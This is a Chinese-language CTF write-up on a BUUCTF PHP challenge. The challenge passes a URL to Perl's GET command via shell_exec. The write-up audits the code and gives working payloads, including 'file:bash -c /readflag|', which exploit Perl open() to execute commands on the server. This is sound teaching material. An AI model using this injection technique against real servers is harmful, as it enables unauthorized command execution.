知识点
shell_exec()函数通过shell执行命令并将完整输出作为字符串返回
bash -c 相当于./readflag,而根据php字符解析特性,如果直接将./readflag传入,那么.就会变成下划线,从而不能命令执行
GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理,open存在命令执行,并且还支持file函数
解题
上来给出一段源码
120.227.110.11 <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
代码审计
首先创建一个文件夹,路径为sandbox/加上MD5加密过后的orange加页面输出的ip
再然后执行get参数,先是执行url
传入的shell命令,再以传入的filename
,命名并创建文件,把url执行的输出写在文件中
先查看根目录,构造payload,必须执行两遍payload的,因为第一次执行的时候还没有创建文件,第二次有文件了才能把数据传进去
?url=/&filename=a
然后进入路径
http://d0151f7b-469f-43f8-a479-e988e84a5af4.node3.buuoj.cn/sandbox/336174729aef835fc9ad4b6afb09c766/a
然后readflag,如果直接/readflag的话,那么会在服务器的根目录创建这个文件,而不是在网站的那个目录,所以是无法命令执行的,所以可以用bash -c 相当于./readflag,而根据php字符解析特性,如果直接将./readflag传入,那么.就会变成下划线,从而不能命令执行。直接bash的话好像是只能bash 有sh后缀的文件,所以不能用
看的wp不知道为啥要加一个管道,不加管道不执行命令
payload:
?url=file:bash%20-c%20/readflag|&filename=abc